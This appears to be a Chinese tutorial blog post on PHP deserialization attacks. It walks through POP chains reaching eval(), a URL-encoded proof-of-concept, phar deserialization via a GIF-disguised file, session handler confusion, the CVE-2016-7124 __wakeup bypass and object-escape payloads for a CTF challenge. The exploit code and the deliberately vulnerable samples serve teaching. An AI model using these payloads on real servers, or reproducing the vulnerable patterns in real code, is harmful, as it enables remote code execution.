PHP反不懂序列化

PHP的序列化和反序列化

基本介绍

序列化就是serialize(),将对象转换为字节序列,这个过程称为序列化

反序列化就是unserialize(),将对象转换的字节序列恢复成对象,这个过程叫做反序列化

在序列化过程中一般需要区分的是protected和private,基本含义和C++一致,protected在序列化的时候,字段名称前面会加上\x00*\x00的前缀,表示ASCII为0的不可见字符,需要python传值;而private需要添加\0\0的前缀,同时长度也包括前缀\x00,即\x00也计算长度

<?php
class test{
    public $t1 = "test1";
    private $t2 = "test2";
    protected $t3 = "test3";
}
$test = new test();
echo serialize($test);

image-20210407161937515

private属性的具体序列化是\x00+classname+\x00+name

漏洞原理

漏洞一般都是unserialize函数的参数可控且同时php文件中存在魔术方法等可以利用的函数、可以利用的类

常用魔术方法有

魔术方法 作用
__construct 构造函数,创建函数的时候初始化
__destruct 析构函数,在对象销毁的时候触发
__toString 在对象被当作字符串调用,把类当作字符串使用的时候触发,echo打印对象就会调用此方法
__wakeup 使用unserialize时触发,反序列化恢复对象之前触发
__sleep 使用serialize时触发,在对象被序列化前自动触发,该函数需要返回以类成员变量名作为元素的数组(只有出现在该数组元素的类成员才会被序列化)
__call 在对象中调用不可访问的方法时触发,即调用对象中不存在的方法会自动调用该方法
__callStatic 在静态上下文中调用不可访问的方法时触发
__get 读取不可访问的属性时会被调用(包括私有属性或者没有初始化的属性)
__set 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset 当对不可访问属性调用isset()或empty()时自动触发
__unset 当对不可访问属性调用unset()时触发
__invoke 当脚本尝试将对象调用为函数时触发

__toString的触发场景:

(1) echo(\(obj) / print(\)obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)

(5) 反序列化对象参与格式化SQL语句,绑定参数时

(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

简单样例

最常规的destruct销毁配合反序列化

<?php
class test{
    var $text = "text";
    function __destruct(){
        echo $this->text;
    }
}
$test = $_GET['test'];
$test2 = unserialize($test);

image-20210407163528907

可以预先控制echo的变量,也可以实现一些XSS弹出

image-20210407170329116

相对复杂一点简易的POP链大概如下

<?php
class test{
    var $name;
    function __construct(){
        $this->name = new name();
    }
    function __destruct(){
        $this->name->fun();
    }
}
class name{
    function fun(){
        echo "have fun!";
    }
}
class Vuln{
    var $cmd;
    function fun(){
        eval($this->cmd);
    }
}

$test = $_GET['test'];
unserialize($test);

序列化代码

<?php
class test{
    var $name;
    function __construct(){
        $this->name = new Vuln();
    }
}
class Vuln{
    var $cmd = "phpinfo();";
}
echo serialize(new test());

image-20210407165548681

大概就是主要是是依赖于__destruct,将其反序列化的结果更改为调用另外一个class的相同函数的样子,同时额外提供phpinfo();这种恶意代码的赋值,然后造成__destruct()的时候出现调用并非name函数而是Vuln函数的情景,产生代码执行漏洞

从网上找一个简单的POP链分析

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

lemon调用normal,但是evil也有action,因此可以构造pop链,调用evil的action方法

序列化代码

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));

poc为O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

总而言之,在反序列化中,如果关键代码不在本类的魔术代码中,而是在其余类的普通代码中,可以通过寻找相同函数名将类的属性和敏感函数进行连接

其中主要用到的函数方法:

命令执行:exec() passthru() popen() system()

文件操作:file_put_contents() file_get_contents() unlink()

代码执行:eval() assert() call_user_func()

phar反序列化

php反序列化的攻击面海报过了phar伪协议,它使用用户自定义的meta-data序列化的形式存储

phar由四个部分组成,分别是

  1. stub

    表示作用,格式为xxx<?php xxx;__HALT_COMPILER();?>前面没有限制,但是结尾必须是__HALT_COMPILER();,以确保php识别phar伪协议

  2. manifest describing the contents

    本质上phar协议是一个压缩文件,相关信息都在这一部分,同样还以序列化形式存储用户自定义的meta-data,也就是攻击利用的地方

img

  1. the file contents

    被压缩的内容

  2. 签名

在测试生成phar文件的时候需要先把php.ini的phar.readonly设置为off

<?php
class test{

}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new test();
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

明显可以看到meta-data是以序列化形式存储的,而反序列化一般都是文件函数再通过phar://伪协议解析phar的时候发生

image-20210407194757355

简单证明一下

image-20210407195111590

因此可以证明,在调用file_get_contents等文件系统函数的时候,发生反序列化

同样,上面也提到phar通过确定stub来识别自身身份,也就是php识别phar仅仅通过后缀的代码,因此可以添加任意文件头并且修改后缀将任意格式伪装成phar

在setStub的时候前面加上对应的前缀,比如GIF

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

这样其实它本质上是个GIF image图片

phar的利用条件主要是:phar文件可以上传到服务器端;和正常的反序列化一样,要存在魔术方法作为跳板,或者存在POP链;文件操作函数的参数可控,且过滤不周

小样例

upload_file.php:

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else{
    echo "Invalid file,you can only upload gif";
}
?>

upload_file.html

<body>
<form action="http://localhost//test//upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);   // 漏洞点
?>

大致思路就是限制了上传的文件类型为gif,且后缀为gif,而漏洞点在file_un.php,和前面正常php反序列化差不多

基本上就是伪造gif,然后手动改后缀,最后利用file_un.php使用phar协议来反序列化rce:

<?php
class AnyClass{
    var $output = "phpinfo();";
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$test = new AnyClass();
$phar->setMetadata($test);
$phar->stopBuffering();

image-20210407202805541

PHP Session反序列化

主要原因是使用不同的引擎处理Session

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
//传入shy
php : lemon|s:3:"shy";
php_serialize : a:1:{s:5:"lemon";s:3:"shy";}
php_binary : lemons:3:"shy";

大概就是我最开始传入的时候使用php_serialize,而接受的时候使用php,php会把|认为是键名和值的分隔符,因此造成了歧义,则对|后的值进行了反序列化处理

CVE-2016-7124 绕过__wakeup()反序列化

这个之前CTF还比较常见,基本上就是__wakeup()会有一些限制函数,需要绕过,只需要把序列化字符串中表示对象属性个数的值大于真实个数即可

漏洞涉及版本 php5 < 5.6.25 | php7 < 7.0.10

PHP反序列化对象逃逸

在花括号后面的字符会逃逸出去,比如'a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}qwe123'中qwe123就会逃逸出去

使用原理大概如下

image-20210407205544142

如果额外过滤flag,因为强制寻找24个字符

image-20210407205626632

后面则依次,最后的字符忽略,最后也就大概变成了

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

比如2019安洵杯这个php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

phpinfo()中藏了flag.php的名称

而如果想要逃逸基本上两种方法,第一个是两个连续的键值对,经过过滤,把我们构造的第一个的值覆盖掉第二个的键

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump结果为

"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

其中dd:a后面的都是多余的了,因为一共只有三个键值对,分别是user img和function,它的最大限制是3,后面都是多余的字符

或者采用一个键值对,通过过滤得到一个单独的

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

var_dump结果为

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

大概就是过略掉了flagphp这7个,然后会向后要七个,恰巧构造到img前面,完成逃逸

posted @ 2021-04-08 19:18  buchiyexiao  阅读(173)  评论(0)    收藏  举报
Live2D